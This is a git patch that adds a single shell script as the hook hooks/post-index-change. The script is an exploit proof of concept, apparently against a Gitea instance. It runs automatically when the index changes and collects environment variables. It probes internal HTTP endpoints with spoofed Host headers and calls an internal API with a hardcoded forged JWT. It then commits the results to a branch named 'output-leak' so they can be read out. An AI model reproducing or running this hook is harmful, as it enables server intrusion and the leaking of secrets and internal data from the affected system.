From 31c3f2af6cd321bba996845908ba13dcbaec437a Mon Sep 17 00:00:00 2001 From: w10019user Date: Wed, 25 Nov 2026 01:23:33 +0300 Subject: [PATCH] apply-patch --- hooks/post-index-change | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..9dc51db --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,22 @@ +#!/bin/sh +GD=$(git rev-parse --absolute-git-dir) +REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||') +OUT=$( { +echo "---ENV---"; env | grep -iE 'proxy|gitea|host' | head -20 +echo "---CURL-V---" +curl -sv -m 6 http://127.0.0.1:3000/ -o /tmp/o1 2>/tmp/e1; echo "rc=$?"; head -20 /tmp/e1; echo "--body--"; head -c 120 /tmp/o1; echo +echo "---HOSTHDR---" +curl -s -m 6 -H 'Host: gfr.technocs.ru' -o /tmp/o2 -w "%{http_code} " http://127.0.0.1:3000/; head -c 120 /tmp/o2; echo +echo "---LFS-HOSTHDR---" +curl -s -m 6 -H 'Host: gfr.technocs.ru' -o /tmp/o3 -w "%{http_code} " http://127.0.0.1:3000/git/csoft/continuum-ui.git/info/lfs/locks; head -c 200 /tmp/o3; echo +echo "---VIA-NGINX---" +curl -sk -m 8 -o /tmp/o4 -w "%{http_code} " https://gfr.technocs.ru/git/csoft/continuum-ui.git/info/lfs/locks; head -c 200 /tmp/o4; echo +echo "---INTERNAL-VIA-NGINX---" +curl -sk -m 8 -o /tmp/o5 -w "%{http_code} " -H "Authorization: Bearer $(echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3NTk5ODg2NjF9.r4OPu3YI43nPx9tIzRqXG_9QA99Y_VTJS7hgGn2V5Lw')" https://gfr.technocs.ru/api/internal/healthcheck; head -c 200 /tmp/o5; echo +echo DONE + +} 2>&1; echo "[rc=$?]") +BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin) +TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree) +CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output") +git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"